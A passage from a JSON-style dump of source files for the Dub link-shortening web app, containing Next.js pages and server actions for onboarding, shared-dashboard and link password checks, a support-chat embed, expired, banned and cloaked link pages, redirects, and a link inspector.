blur-[40px]\">\n        <div\n          className={cn(\n            \"size-full -rotate-90 saturate-[3]\",\n            \"bg-[conic-gradient(from_279deg,#EAB308_47deg,#F00_121deg,#00FFF9_190deg,#855AFC_251deg,#3A8BFD_267deg,#A3ECB3_314deg,#EAB308_360deg)]\",\n          )}\n        />\n      </div>\n    </div>\n  );\n}\n"
  },
  {
    "path": "apps/web/app/app.dub.co/(onboarding)/onboarding/welcome/track-signup.tsx",
    "content": "\"use client\";\n\nimport { useSession } from \"next-auth/react\";\nimport { usePlausible } from \"next-plausible\";\nimport { useEffect } from \"react\";\n\nexport default function TrackSignup() {\n  const plausible = usePlausible();\n  const { data: session } = useSession();\n\n  useEffect(() => {\n    plausible(\"Signed Up\");\n  }, [session?.user]);\n\n  return null;\n}\n"
  },
  {
    "path": "apps/web/app/app.dub.co/(onboarding)/signed-in-hint.tsx",
    "content": "\"use client\";\n\nimport { Button } from \"@dub/ui\";\nimport { signOut, useSession } from \"next-auth/react\";\nimport { useState } from \"react\";\n\nexport function SignedInHint() {\n  const { data: session } = useSession();\n  const [isLoading, setIsLoading] = useState(false);\n\n  return (\n    <div className=\"fixed bottom-0 left-0 z-40 m-5 flex flex-col gap-2\">\n      <div className=\"flex items-center gap-1 text-xs text-neutral-600\">\n        You're signed in as{\" \"}\n        {session ? (\n          <b className=\"text-neutral-800\">{session.user?.email}</b>\n        ) : (\n          <span className=\"h-3 w-32 animate-pulse rounded-md border border-neutral-300 bg-neutral-200\" />\n        )}\n      </div>\n      <Button\n        variant=\"secondary\"\n        text=\"Sign in as a different user\"\n        onClick={() => {\n          setIsLoading(true);\n          signOut({\n            callbackUrl: \"/login\",\n          });\n        }}\n        loading={isLoading}\n        className=\"h-8 w-fit rounded-lg px-3 text-xs shadow-sm\"\n      />\n    </div>\n  );\n}\n"
  },
  {
    "path": "apps/web/app/app.dub.co/(redirects)/[slug]/domains/page.tsx",
    "content": "import { redirect } from \"next/navigation\";\n\nexport default async function OldWorkspaceDomains(props: {\n  params: Promise<{\n    slug: string;\n  }>;\n}) {\n  const params = await props.params;\n  redirect(`/${params.slug}/settings/domains`);\n}\n"
  },
  {
    "path": "apps/web/app/app.dub.co/(redirects)/[slug]/settings/referrals/page.tsx",
    "content": "import { redirect } from \"next/navigation\";\n\nexport default function OldWorkspaceReferrals() {\n  redirect(\"/account/settings/referrals\");\n}\n"
  },
  {
    "path": "apps/web/app/app.dub.co/(redirects)/[slug]/settings/tags/page.tsx",
    "content": "import { redirect } from \"next/navigation\";\n\nexport default async function OldWorkspaceTags(props: {\n  params: Promise<{\n    slug: string;\n  }>;\n}) {\n  const params = await props.params;\n  redirect(`/${params.slug}/settings/library/tags`);\n}\n"
  },
  {
    "path": "apps/web/app/app.dub.co/(redirects)/analytics/page.tsx",
    "content": "import { getDefaultWorkspace } from \"@/lib/fetchers\";\nimport { redirect } from \"next/navigation\";\n\nexport default async function OldLinksAnalytics(props: {\n  searchParams: Promise<{ [key: string]: string }>;\n}) {\n  const searchParams = await props.searchParams;\n  const defaultWorkspace = await getDefaultWorkspace();\n  if (!defaultWorkspace) {\n    redirect(\"/\");\n  }\n\n  const newParams = new URLSearchParams();\n  if (searchParams.domain) {\n    newParams.set(\"domain\", searchParams.domain);\n  }\n  if (searchParams.key) {\n    newParams.set(\"key\", searchParams.key);\n  }\n  const queryString = newParams.toString();\n\n  redirect(\n    `/${defaultWorkspace.slug}/analytics${queryString ? `?${queryString}` : \"\"}`,\n  );\n}\n"
  },
  {
    "path": "apps/web/app/app.dub.co/(redirects)/loading.tsx",
    "content": "import LayoutLoader from \"@/ui/layout/layout-loader\";\n\nexport default function Loading() {\n  return (\n    <div className=\"h-screen w-screen bg-neutral-50\">\n      <LayoutLoader />\n    </div>\n  );\n}\n"
  },
  {
    "path": "apps/web/app/app.dub.co/(share)/share/[dashboardId]/action.ts",
    "content": "\"use server\";\n\nimport { prisma } from \"@dub/prisma\";\nimport { cookies } from \"next/headers\";\n\nexport async function verifyPassword(_prevState: any, data: FormData) {\n  const dashboardId = data.get(\"dashboardId\") as string;\n  const password = data.get(\"password\") as string;\n\n  const dashboard = await prisma.dashboard.findUnique({\n    where: { id: dashboardId },\n  });\n\n  if (!dashboard) {\n    return { error: \"Dashboard not found\" };\n  }\n\n  if (dashboard.password !== password) {\n    return { error: \"Invalid password\" };\n  }\n\n  (await cookies()).set(`dub_password_${dashboardId}`, password, {\n    path: `/share/${dashboardId}`,\n    httpOnly: true,\n    secure: true,\n  });\n\n  return true;\n}\n"
  },
  {
    "path": "apps/web/app/app.dub.co/(share)/share/[dashboardId]/form.tsx",
    "content": "\"use client\";\n\nimport { AlertCircleFill } from \"@/ui/shared/icons\";\nimport { Button, useMediaQuery } from \"@dub/ui\";\nimport { useParams } from \"next/navigation\";\nimport { useActionState } from \"react\";\nimport { useFormStatus } from \"react-dom\";\nimport { verifyPassword } from \"./action\";\n\nconst initialState = {\n  error: null,\n};\n\nexport default function DashboardPasswordForm() {\n  const { dashboardId } = useParams() as { dashboardId: string };\n\n  const [state, formAction] = useActionState(verifyPassword, initialState);\n  const { isMobile } = useMediaQuery();\n\n  return (\n    <form\n      action={formAction}\n      className=\"flex flex-col space-y-4 bg-neutral-50 px-4 py-8 sm:px-16\"\n    >\n      <div>\n        <label htmlFor=\"password\" className=\"block text-xs text-neutral-600\">\n          PASSWORD\n        </label>\n        <div className=\"relative mt-1 rounded-md shadow-sm\">\n          <input type=\"hidden\" name=\"dashboardId\" value={dashboardId} />\n          <input\n            type=\"password\"\n            name=\"password\"\n            id=\"password\"\n            autoFocus={!isMobile}\n            required\n            className={`${\n              state.error\n                ? \"border-red-300 pr-10 text-red-500 placeholder-red-300 focus:border-red-500 focus:ring-red-500\"\n                : \"border-neutral-300 text-neutral-900 placeholder-neutral-400 focus:border-neutral-500 focus:ring-neutral-500\"\n            } block w-full rounded-md focus:outline-none sm:text-sm`}\n          />\n          {state.error && (\n            <div className=\"pointer-events-none absolute inset-y-0 right-0 flex items-center pr-3\">\n              <AlertCircleFill\n                className=\"h-5 w-5 text-red-500\"\n                aria-hidden=\"true\"\n              />\n            </div>\n          )}\n        </div>\n        {state.error && (\n          <p className=\"mt-2 text-sm text-red-600\" id=\"slug-error\">\n            Incorrect password\n          </p>\n        )}\n      </div>\n\n      <FormButton />\n    </form>\n  );\n}\n\nconst FormButton = () => {\n  const { pending } = useFormStatus();\n  return <Button text=\"Submit\" loading={pending} />;\n};\n"
  },
  {
    "path": "apps/web/app/app.dub.co/(share)/share/[dashboardId]/page.tsx",
    "content": "import { getDashboard } from \"@/lib/fetchers/get-dashboard\";\nimport { PlanProps } from \"@/lib/types\";\nimport Analytics from \"@/ui/analytics\";\nimport { NewBackground } from \"@/ui/shared/new-background\";\nimport { Footer, Logo, Nav, NavMobile } from \"@dub/ui\";\nimport { APP_DOMAIN, constructMetadata } from \"@dub/utils\";\nimport { Metadata } from \"next\";\nimport { cookies } from \"next/headers\";\nimport { notFound } from \"next/navigation\";\nimport { Suspense } from \"react\";\nimport DashboardPasswordForm from \"./form\";\n\nexport async function generateMetadata(props: {\n  params: Promise<{ dashboardId: string }>;\n}): Promise<Metadata> {\n  const params = await props.params;\n  const data = await getDashboard({ id: params.dashboardId });\n\n  // if the dashboard, link, or folder doesn't exist\n  if (!data?.link && !data?.folder) {\n    return {};\n  }\n\n  return constructMetadata({\n    title: `Analytics for ${data.link ? `${data.link.domain}/${data.link.key}` : data.folder!.name} – ${process.env.NEXT_PUBLIC_APP_NAME}`,\n    image: `${APP_DOMAIN}/api/og/analytics?${data.link ? `linkId=${data.link.id}` : `folderId=${data.folder!.id}`}`,\n    noIndex: !data.doIndex,\n  });\n}\n\nexport default async function DashboardPage(props: {\n  params: Promise<{ dashboardId: string }>;\n}) {\n  const params = await props.params;\n  const data = await getDashboard({ id: params.dashboardId });\n\n  // if the dashboard, link, or folder doesn't exist\n  if (!data?.link && !data?.folder) {\n    notFound();\n  }\n\n  if (\n    data.password &&\n    (await cookies()).get(`dub_password_${params.dashboardId}`)?.value !==\n      data.password\n  ) {\n    return (\n      <main className=\"flex h-screen w-screen items-center justify-center\">\n        <NewBackground />\n        <div className=\"z-10 w-full max-w-md overflow-hidden rounded-2xl border border-neutral-100 shadow-xl\">\n          <div className=\"flex flex-col items-center justify-center space-y-3 border-b border-neutral-200 bg-white px-4 py-6 pt-8 text-center sm:px-16\">\n            <Logo />\n            <h3 className=\"text-xl font-semibold\">Enter Password</h3>\n            <p className=\"text-sm text-neutral-500\">\n              This dashboard is password protected. Enter the password to view\n              the dashboard.\n            </p>\n          </div>\n          <DashboardPasswordForm />\n        </div>\n      </main>\n    );\n  }\n\n  return (\n    <div className=\"flex min-h-screen flex-col justify-between bg-neutral-50/80\">\n      <NavMobile staticDomain=\"app.dub.co\" />\n      <Nav staticDomain=\"app.dub.co\" />\n      <Suspense fallback={<div className=\"h-screen w-full bg-neutral-50\" />}>\n        <Analytics\n          dashboardProps={{\n            ...(data.link\n              ? {\n                  domain: data.link.domain,\n                  key: data.link.key,\n                  url: data.link.url,\n                }\n              : {\n                  folderId: data.folder!.id,\n                  folderName: data.folder!.name,\n                }),\n            showConversions: data.showConversions,\n            workspacePlan: data.project?.plan as PlanProps,\n          }}\n        />\n      </Suspense>\n      <Footer staticDomain=\"app.dub.co\" />\n    </div>\n  );\n}\n"
  },
  {
    "path": "apps/web/app/app.dub.co/embed/support-chat/dynamic-height-messenger.tsx",
    "content": "\"use client\";\n\nimport { useEffect } from \"react\";\n\nexport function SupportChatDynamicHeightMessenger() {\n  useEffect(() => {\n    document.body.style.overflow = \"hidden\";\n    const update = () => {\n      const height = document.body.scrollHeight;\n      window.parent.postMessage(\n        {\n          originator: \"Dub\",\n          event: \"PAGE_HEIGHT\",\n          data: { height },\n        },\n        \"*\",\n      );\n    };\n    update();\n\n    const resizeObserver = new ResizeObserver(update);\n    resizeObserver.observe(document.body);\n\n    return () => {\n      resizeObserver.disconnect();\n    };\n  }, []);\n\n  return null;\n}\n"
  },
  {
    "path": "apps/web/app/app.dub.co/embed/support-chat/layout.tsx",
    "content": "export default function SupportChatEmbedLayout({\n  children,\n}: {\n  children: React.ReactNode;\n}) {\n  return (\n    <>\n      <style precedence=\"high\">{`\n        html, body { background: transparent !important; }\n      `}</style>\n      {children}\n    </>\n  );\n}\n"
  },
  {
    "path": "apps/web/app/app.dub.co/embed/support-chat/page.tsx",
    "content": "import { SupportChatBubble } from \"@/ui/support/chat-bubble\";\nimport { EmbeddedSupportChat } from \"@/ui/support/embedded-chat\";\nimport { SupportChatVariant } from \"@/ui/support/types\";\nimport { SupportChatDynamicHeightMessenger } from \"./dynamic-height-messenger\";\n\nexport default async function SupportChatEmbedPage(props: {\n  searchParams: Promise<{\n    variant?: SupportChatVariant;\n  }>;\n}) {\n  const { variant } = await props.searchParams;\n\n  if (variant === \"embedded\") {\n    return (\n      <div className=\"min-h-[500px] bg-white p-4\">\n        <EmbeddedSupportChat />\n        <SupportChatDynamicHeightMessenger />\n      </div>\n    );\n  }\n\n  return (\n    <div className=\"min-h-screen bg-transparent\">\n      <SupportChatBubble />\n    </div>\n  );\n}\n"
  },
  {
    "path": "apps/web/app/app.dub.co/layout.tsx",
    "content": "\"use client\";\n\nimport { ModalProvider } from \"@/ui/modals/modal-provider\";\nimport { SessionProvider } from \"next-auth/react\";\nimport { ReactNode } from \"react\";\n\nexport default function AppLayout({ children }: { children: ReactNode }) {\n  return (\n    <SessionProvider>\n      <ModalProvider>{children}</ModalProvider>\n    </SessionProvider>\n  );\n}\n"
  },
  {
    "path": "apps/web/app/banned/page.tsx",
    "content": "import { BubbleIcon } from \"@/ui/placeholders/bubble-icon\";\nimport { ButtonLink } from \"@/ui/placeholders/button-link\";\nimport { CTA } from \"@/ui/placeholders/cta\";\nimport { FeaturesSection } from \"@/ui/placeholders/features-section\";\nimport { Hero } from \"@/ui/placeholders/hero\";\nimport { Footer, Nav, NavMobile, ShieldSlash } from \"@dub/ui\";\nimport { cn, constructMetadata, createHref } from \"@dub/utils\";\n\nexport const revalidate = false; // cache indefinitely\n\nexport const metadata = constructMetadata({\n  title: \"Banned Link\",\n  description: \"This link has been banned for violating our terms of service.\",\n  noIndex: true,\n});\n\nconst UTM_PARAMS = {\n  utm_source: \"Expired Link\",\n  utm_medium: \"Expired Link Page\",\n};\n\nexport default async function BannedPage(props: {\n  params: Promise<{ domain: string }>;\n}) {\n  const { domain } = await props.params;\n  return (\n    <main className=\"flex min-h-screen flex-col justify-between\">\n      <NavMobile />\n      <Nav maxWidthWrapperClassName=\"max-w-screen-lg lg:px-4 xl:px-0\" />\n      <div>\n        <Hero>\n          <div className=\"relative mx-auto flex w-full max-w-sm flex-col items-center\">\n            <BubbleIcon>\n              <ShieldSlash className=\"size-12\" />\n            </BubbleIcon>\n            <h1\n              className={cn(\n                \"font-display mt-10 text-center text-4xl font-medium text-neutral-900 sm:text-5xl sm:leading-[1.15]\",\n                \"animate-slide-up-fade motion-reduce:animate-fade-in [--offset:20px] [animation-duration:1s] [animation-fill-mode:both]\",\n              )}\n            >\n              Banned link\n            </h1>\n            <p\n              className={cn(\n                \"mt-5 text-pretty text-base text-neutral-700 sm:text-xl\",\n                \"animate-slide-up-fade motion-reduce:animate-fade-in [--offset:10px] [animation-delay:200ms] [animation-duration:1s] [animation-fill-mode:both]\",\n              )}\n            >\n              This link has been banned for violating our terms of service.\n            </p>\n          </div>\n\n          <div\n            className={cn(\n              \"xs:flex-row relative mx-auto mt-8 flex max-w-fit flex-col items-center gap-4\",\n              \"animate-slide-up-fade motion-reduce:animate-fade-in [--offset:5px] [animation-delay:300ms] [animation-duration:1s] [animation-fill-mode:both]\",\n            )}\n          >\n            <ButtonLink variant=\"primary\" href=\"https://app.dub.co/register\">\n              Try Dub today\n            </ButtonLink>\n            <ButtonLink\n              variant=\"secondary\"\n              href={createHref(\"/links\", domain, {\n                ...UTM_PARAMS,\n                utm_campaign: domain,\n                utm_content: \"Learn more\",\n              })}\n            >\n              Learn more\n            </ButtonLink>\n          </div>\n        </Hero>\n        <div className=\"mt-20\">\n          <FeaturesSection domain={domain} utmParams={UTM_PARAMS} />\n        </div>\n        <div className=\"mt-32\">\n          <CTA domain={domain} utmParams={UTM_PARAMS} />\n        </div>\n      </div>\n      <Footer className=\"max-w-screen-lg border-0 bg-transparent lg:px-4 xl:px-0\" />\n    </main>\n  );\n}\n"
  },
  {
    "path": "apps/web/app/cloaked/[url]/page.tsx",
    "content": "import {\n  GOOGLE_FAVICON_URL,\n  constructMetadata,\n  getApexDomain,\n} from \"@dub/utils\";\nimport { getMetaTags } from \"app/api/links/metatags/utils\";\n\nexport const runtime = \"edge\";\nexport const fetchCache = \"force-no-store\";\n\nexport async function generateMetadata(props: {\n  params: Promise<{ url: string }>;\n}) {\n  const params = await props.params;\n  const url = decodeURIComponent(params.url); // key can potentially be encoded\n\n  const metatags = await getMetaTags(url);\n\n  const apexDomain = getApexDomain(url);\n\n  return constructMetadata({\n    fullTitle: metatags.title,\n    description: metatags.description,\n    image: metatags.image,\n    icons: `${GOOGLE_FAVICON_URL}${apexDomain}`,\n    noIndex: true,\n  });\n}\n\nexport default async function CloakedPage(props: {\n  params: Promise<{ url: string }>;\n}) {\n  const params = await props.params;\n  const url = decodeURIComponent(params.url);\n\n  return <iframe src={url} className=\"min-h-screen w-full border-none\" />;\n}\n"
  },
  {
    "path": "apps/web/app/custom-uri-scheme/[url]/page.tsx",
    "content": "export const revalidate = false; // cache indefinitely\n\nexport default async function CustomURISchemePage(props: {\n  params: Promise<{ url: string }>;\n}) {\n  const params = await props.params;\n  // First decode the full URL parameter from the route\n  const url = decodeURIComponent(params.url);\n  // Split into base URL and query string\n  const [baseUrl, queryString] = url.split(\"?\");\n\n  let redirectUrl = url;\n\n  // if there are query parameters, we need to process them\n  if (queryString) {\n    // Parse the query string (but don't use toString() later as it adds extra encoding)\n    const queryParams = new URLSearchParams(queryString);\n\n    // Process each parameter with proper encoding\n    const processedParams = Array.from(queryParams.entries()).map(\n      ([key, value]) => {\n        // Handle form-encoded spaces ('+' → ' ')\n        const decodedFromForm = value.replace(/\\+/g, \" \");\n        // Decode any existing percent-encoding (e.g., '%26' → '&')\n        const fullyDecoded = decodeURIComponent(decodedFromForm);\n        // Apply one clean round of encoding\n        const encoded = encodeURIComponent(fullyDecoded);\n\n        return `${key}=${encoded}`;\n      },\n    );\n\n    // Reconstruct the URL with properly encoded parameters\n    redirectUrl = `${baseUrl}?${processedParams.join(\"&\")}`;\n  }\n\n  // Redirect to the redirect URL (which may be the same as the original URL,\n  // or a cleaned-up version with properly encoded parameters)\n  return <meta httpEquiv=\"refresh\" content={`0; url=${redirectUrl}`} />;\n}\n"
  },
  {
    "path": "apps/web/app/expired/[domain]/page.tsx",
    "content": "import { BubbleIcon } from \"@/ui/placeholders/bubble-icon\";\nimport { ButtonLink } from \"@/ui/placeholders/button-link\";\nimport { CTA } from \"@/ui/placeholders/cta\";\nimport { FeaturesSection } from \"@/ui/placeholders/features-section\";\nimport { Hero } from \"@/ui/placeholders/hero\";\nimport { prisma } from \"@dub/prisma\";\nimport { CircleHalfDottedClock, Footer, Nav, NavMobile } from \"@dub/ui\";\nimport { cn, constructMetadata, createHref } from \"@dub/utils\";\nimport { redirect } from \"next/navigation\";\n\nexport const revalidate = false; // cache indefinitely\n\nexport const metadata = constructMetadata({\n  title: \"Expired Link\",\n  description:\n    \"This link has expired. Please contact the owner of this link to get a new one.\",\n  noIndex: true,\n});\n\nconst UTM_PARAMS = {\n  utm_source: \"Expired Link\",\n  utm_medium: \"Expired Link Page\",\n};\n\nexport default async function ExpiredLinkPage(props: {\n  params: Promise<{ domain: string }>;\n}) {\n  const { domain } = await props.params;\n  const domainData = await prisma.domain.findUnique({\n    where: {\n      slug: domain,\n    },\n  });\n\n  if (domainData?.expiredUrl) {\n    redirect(domainData.expiredUrl);\n  }\n\n  return (\n    <main className=\"flex min-h-screen flex-col justify-between\">\n      <NavMobile />\n      <Nav maxWidthWrapperClassName=\"max-w-screen-lg lg:px-4 xl:px-0\" />\n      <div>\n        <Hero>\n          <div className=\"relative mx-auto flex w-full max-w-md flex-col items-center\">\n            <BubbleIcon>\n              <CircleHalfDottedClock className=\"size-12\" />\n            </BubbleIcon>\n            <h1\n              className={cn(\n                \"font-display mt-10 text-center text-4xl font-medium text-neutral-900 sm:text-5xl sm:leading-[1.15]\",\n                \"animate-slide-up-fade motion-reduce:animate-fade-in [--offset:20px] [animation-duration:1s] [animation-fill-mode:both]\",\n              )}\n            >\n              Expired link\n            </h1>\n            <p\n              className={cn(\n                \"mt-5 text-pretty text-base text-neutral-700 sm:text-xl\",\n                \"animate-slide-up-fade motion-reduce:animate-fade-in [--offset:10px] [animation-delay:200ms] [animation-duration:1s] [animation-fill-mode:both]\",\n              )}\n            >\n              This link has expired. Please contact the owner of this link to\n              get a new one.\n            </p>\n          </div>\n\n          <div\n            className={cn(\n              \"xs:flex-row relative mx-auto mt-8 flex max-w-fit flex-col items-center gap-4\",\n              \"animate-slide-up-fade motion-reduce:animate-fade-in [--offset:5px] [animation-delay:300ms] [animation-duration:1s] [animation-fill-mode:both]\",\n            )}\n          >\n            <ButtonLink variant=\"primary\" href=\"https://app.dub.co/register\">\n              Try Dub today\n            </ButtonLink>\n            <ButtonLink\n              variant=\"secondary\"\n              href={createHref(\"/links\", domain, {\n                ...UTM_PARAMS,\n                utm_campaign: domain,\n                utm_content: \"Learn more\",\n              })}\n            >\n              Learn more\n            </ButtonLink>\n          </div>\n        </Hero>\n        <div className=\"mt-20\">\n          <FeaturesSection domain={domain} utmParams={UTM_PARAMS} />\n        </div>\n        <div className=\"mt-32\">\n          <CTA domain={domain} utmParams={UTM_PARAMS} />\n        </div>\n      </div>\n      <Footer className=\"max-w-screen-lg border-0 bg-transparent lg:px-4 xl:px-0\" />\n    </main>\n  );\n}\n"
  },
  {
    "path": "apps/web/app/inspect/[domain]/[key]/card.tsx",
    "content": "import { CopyButton, LinkLogo } from \"@dub/ui\";\nimport { getApexDomain, linkConstructor } from \"@dub/utils\";\nimport { Flag } from \"lucide-react\";\nimport Link from \"next/link\";\n\nexport default function LinkInspectorCard({\n  domain,\n  _key,\n  url,\n}: {\n  domain: string;\n  _key: string;\n  url: string;\n}) {\n  const key = _key;\n  const apexDomain = getApexDomain(url);\n  return (\n    <div className=\"flex w-full items-center justify-between rounded-md border border-neutral-300 bg-white p-3\">\n      <div className=\"flex items-center space-x-3\">\n        <LinkLogo apexDomain={apexDomain} />\n        <div>\n          <div className=\"flex items-center space-x-1 sm:space-x-2\">\n            <a\n              className=\"font-semibold text-blue-800\"\n              href={linkConstructor({ domain, key })}\n              target=\"_blank\"\n              rel=\"noreferrer\"\n            >\n              {linkConstructor({ domain, key, pretty: true })}\n            </a>\n            <CopyButton value={linkConstructor({ domain, key })} />\n          </div>\n          <a\n            href={url}\n            target=\"_blank\"\n            rel=\"noopener noreferrer\"\n            className=\"line-clamp-1 text-left text-sm text-neutral-500 underline-offset-2 transition-all hover:text-neutral-800 hover:underline\"\n          >\n            {url}\n          </a>\n        </div>\n      </div>\n      <Link\n        href={`https://dub.co/legal/abuse?link=${linkConstructor({\n          domain,\n          key,\n        })}`}\n        target=\"_blank\"\n        className=\"rounded-md p-2 transition-all duration-75 hover:bg-red-100 focus:outline-none active:bg-red-200\"\n      >\n        <Flag className=\"h-4 w-4 text-red-500\" />\n      </Link>\n    </div>\n  );\n}\n"
  },
  {
    "path": "apps/web/app/inspect/[domain]/[key]/page.tsx",
    "content": "import { getLinkViaEdge } from \"@/lib/planetscale\";\nimport {\n  Background,\n  Footer,\n  LinkPreview,\n  LinkPreviewPlaceholder,\n  Nav,\n  NavMobile,\n} from \"@dub/ui\";\nimport {\n  GOOGLE_FAVICON_URL,\n  constructMetadata,\n  getApexDomain,\n} from \"@dub/utils\";\nimport { unescape } from \"html-escaper\";\nimport { notFound } from \"next/navigation\";\nimport { Suspense } from \"react\";\nimport LinkInspectorCard from \"./card\";\n\nexport const runtime = \"edge\";\n\nexport async function generateMetadata(props: {\n  params: Promise<{ domain: string; key: string }>;\n}) {\n  const params = await props.params;\n  const domain = params.domain;\n  const key = decodeURIComponent(params.key).slice(0, -1);\n\n  const data = await getLinkViaEdge({ domain, key });\n\n  if (!data) {\n    return;\n  }\n\n  const apexDomain = getApexDomain(data.url);\n\n  return constructMetadata({\n    title: unescape(data.title || \"\"),\n    description: unescape(data.description || \"\"),\n    image: data.image,\n    icons: `${GOOGLE_FAVICON_URL}${apexDomain}`,\n    noIndex: true,\n  });\n}\n\nexport default async function InspectPage(props: {\n  params: Promise<{ domain: string; key: string }>;\n}) {\n  const params = await props.params;\n  const domain = params.domain;\n  const key = decodeURIComponent(params.key).slice(0, -1);\n\n  const data = await getLinkViaEdge({ domain, key });\n\n  // if the link doesn't exist\n  if (!data) {\n    notFound();\n  }\n\n  return (\n    <>\n      <main className=\"flex min-h-screen flex-col justify-between\">\n        <NavMobile />\n        <Nav />\n        <div className=\"z-10 mx-2 my-10 flex max-w-md flex-col space-y-5 px-2.5 text-center sm:mx-auto sm:max-w-lg sm:px-0 lg:mb-16\">\n          <h1 className=\"font-display text-5xl font-extrabold leading-[1.15] text-black sm:text-6xl sm:leading-[1.15]\">\n            Link Inspector\n          </h1>\n          <h2 className=\"text-lg text-neutral-600 sm:text-xl\">\n            Inspect a short link on Dub to make sure it's safe to click on. If\n            you think this link is malicious, please report it.\n          </h2>\n\n          <LinkInspectorCard domain={domain} _key={key} url={data.url} />\n          <Suspense fallback={<LinkPreviewPlaceholder />}>\n            <LinkPreview defaultUrl={data.url} />\n          </Suspense>\n          <a\n            href=\"https://dub.co/tools/inspector\"\n            rel=\"noreferrer\"\n            target=\"_blank\"\n            className=\"mx-auto mt-2 flex items-center justify-center space-x-2 text-sm text-neutral-500 transition-all hover:text-black\"\n          >\n            Inspect another short link →\n          </a>\n        </div>\n        <Footer />\n        <Background />\n      </main>\n    </>\n  );\n}\n"
  },
  {
    "path": "apps/web/app/layout.tsx",
    "content": "import { geistMono, inter, satoshi } from \"@/styles/fonts\";\nimport \"@/styles/globals.css\";\nimport { cn, constructMetadata } from \"@dub/utils\";\nimport Script from \"next/script\";\nimport RootProviders from \"./providers\";\n\nexport const metadata = constructMetadata();\n\nexport default function RootLayout({\n  children,\n}: {\n  children: React.ReactNode;\n}) {\n  return (\n    <html\n      lang=\"en\"\n      className={cn(satoshi.variable, inter.variable, geistMono.variable)}\n    >\n      <body>\n        <RootProviders>{children}</RootProviders>\n\n        <Script id=\"set-theme\" strategy=\"beforeInteractive\">\n          {`\n          (() => {\n            // Only run on referrals embed page for now\n            if (window.location.pathname !== '/embed/referrals') return;\n\n            const urlParams = new URLSearchParams(window.location.search);\n            const theme = urlParams.get('theme');\n\n            if (theme === 'dark' || (theme === 'system' && window.matchMedia(\"(prefers-color-scheme: dark)\").matches)) {\n              document.body.classList.add(\"dark\");\n            } else {\n              document.body.classList.remove(\"dark\");\n            }\n          })();\n        `}\n        </Script>\n      </body>\n    </html>\n  );\n}\n"
  },
  {
    "path": "apps/web/app/manifest.ts",
    "content": "import { MetadataRoute } from \"next\";\n\nexport default function manifest(): MetadataRoute.Manifest {\n  return {\n    name: \"Dub\",\n    short_name: \"Dub\",\n    description: \"Dub - The Modern Link Attribution Platform\",\n    start_url: \"/\",\n    display: \"standalone\",\n    background_color: \"#ffffff\",\n    theme_color: \"#ffffff\",\n    icons: [\n      {\n        src: \"https://assets.dub.co/favicons/android-chrome-192x192.png\",\n        sizes: \"192x192\",\n        type: \"image/png\",\n        purpose: \"maskable\",\n      },\n      {\n        src: \"https://assets.dub.co/favicons/android-chrome-512x512.png\",\n        sizes: \"512x512\",\n        type: \"image/png\",\n        purpose: \"maskable\",\n      },\n    ],\n  };\n}\n"
  },
  {
    "path": "apps/web/app/not-found-hint.tsx",
    "content": "\"use client\";\n\nimport { Button } from \"@dub/ui\";\nimport { SessionProvider, signOut, useSession } from \"next-auth/react\";\nimport Link from \"next/link\";\nimport { useState } from \"react\";\n\nexport function NotFoundHint() {\n  return (\n    <SessionProvider>\n      <NotFoundHintChild />\n    </SessionProvider>\n  );\n}\n\nfunction NotFoundHintChild() {\n  const { data: session } = useSession();\n  const [isLoading, setIsLoading] = useState(false);\n\n  if (!session) {\n    return (\n      <Link href=\"/\">\n        <Button text=\"Return home\" />\n      </Link>\n    );\n  }\n\n  return (\n    <>\n      <div className=\"flex items-center gap-2 text-neutral-600\">\n        You're signed in as{\" \"}\n        {session ? (\n          <b className=\"text-neutral-800\">{session.user?.email}.</b>\n        ) : (\n          <span className=\"h-5 w-40 rounded-md border border-neutral-300 bg-neutral-200\" />\n        )}\n      </div>\n      <Button\n        text=\"Sign in as a different user\"\n        onClick={() => {\n          setIsLoading(true);\n          signOut();\n        }}\n        loading={isLoading}\n        className=\"w-fit\"\n      />\n    </>\n  );\n}\n"
  },
  {
    "path": "apps/web/app/not-found.tsx",
    "content": "import { NewBackground } from \"@/ui/shared/new-background\";\nimport { Wordmark } from \"@dub/ui\";\nimport Link from \"next/link\";\nimport { NotFoundHint } from \"./not-found-hint\";\n\nexport default function NotFound() {\n  return (\n    <>\n      <div className=\"relative z-10 flex h-screen w-screen flex-col items-center justify-center gap-6\">\n        <Link href=\"/\" className=\"absolute left-4 top-3\">\n          <Wordmark className=\"h-6\" />\n        </Link>\n        <h1 className=\"font-display bg-gradient-to-r from-black to-neutral-600 bg-clip-text text-5xl font-semibold text-transparent\">\n          404\n        </h1>\n        <NotFoundHint />\n      </div>\n      <NewBackground showAnimation />\n    </>\n  );\n}\n"
  },
  {
    "path": "apps/web/app/password/[linkId]/action.ts",
    "content": "\"use server\";\n\nimport { prismaEdge } from \"@dub/prisma/edge\";\nimport { cookies } from \"next/headers\";\n\nexport async function verifyPassword(_prevState: any, data: FormData) {\n  const linkId = data.get(\"linkId\") as string;\n  const password = data.get(\"password\") as string;\n\n  const link = await prismaEdge.link.findUnique({\n    where: {\n      id: linkId,\n    },\n  });\n  if (!link) {\n    return { error: \"Link not found\" };\n  }\n  const { password: realPassword } = link;\n\n  const validPassword = password === realPassword;\n\n  if (validPassword) {\n    // if the password is valid, set the cookie\n    (await cookies()).set(`dub_password_${link.id}`, password, {\n      path: `/${link.key}`,\n      httpOnly: true,\n      secure: true,\n    });\n    return true;\n  } else {\n    return { error: \"Invalid password\" };\n  }\n}\n"
  },
  {
    "path": "apps/web/app/password/[linkId]/form.tsx",
    "content": "\"use client\";\n\nimport { AlertCircleFill } from \"@/ui/shared/icons\";\nimport { Button, useMediaQuery } from \"@dub/ui\";\nimport { useParams } from \"next/navigation\";\nimport { useActionState } from \"react\";\nimport { useFormStatus } from \"react-dom\";\nimport { verifyPassword } from \"./action\";\n\nconst initialState = {\n  error: null,\n};\n\nexport default function PasswordForm() {\n  const { linkId } = useParams() as {\n    linkId: string;\n  };\n  const [state, formAction] = useActionState(verifyPassword, initialState);\n\n  const { isMobile } = useMediaQuery();\n\n  return (\n    <form\n      data-testid=\"password-form\"\n      action={formAction}\n      className=\"flex flex-col gap-4 bg-neutral-50 p-4 sm:p-8 sm:pt-6\"\n    >\n      <div>\n        <label htmlFor=\"password\" className=\"block text-sm text-neutral-800\">\n          Password\n        </label>\n        <div className=\"relative mt-1 rounded-md shadow-sm\">\n          <input type=\"hidden\" name=\"linkId\" value={linkId} />\n          <input\n            type=\"password\"\n            name=\"password\"\n            id=\"password\"\n            autoFocus={!isMobile}\n            required\n            className={`${\n              state.error\n                ? \"border-red-300 pr-10 text-red-500 placeholder-red-300 focus:border-red-500 focus:ring-red-500\"\n                : \"border-neutral-300 text-neutral-900 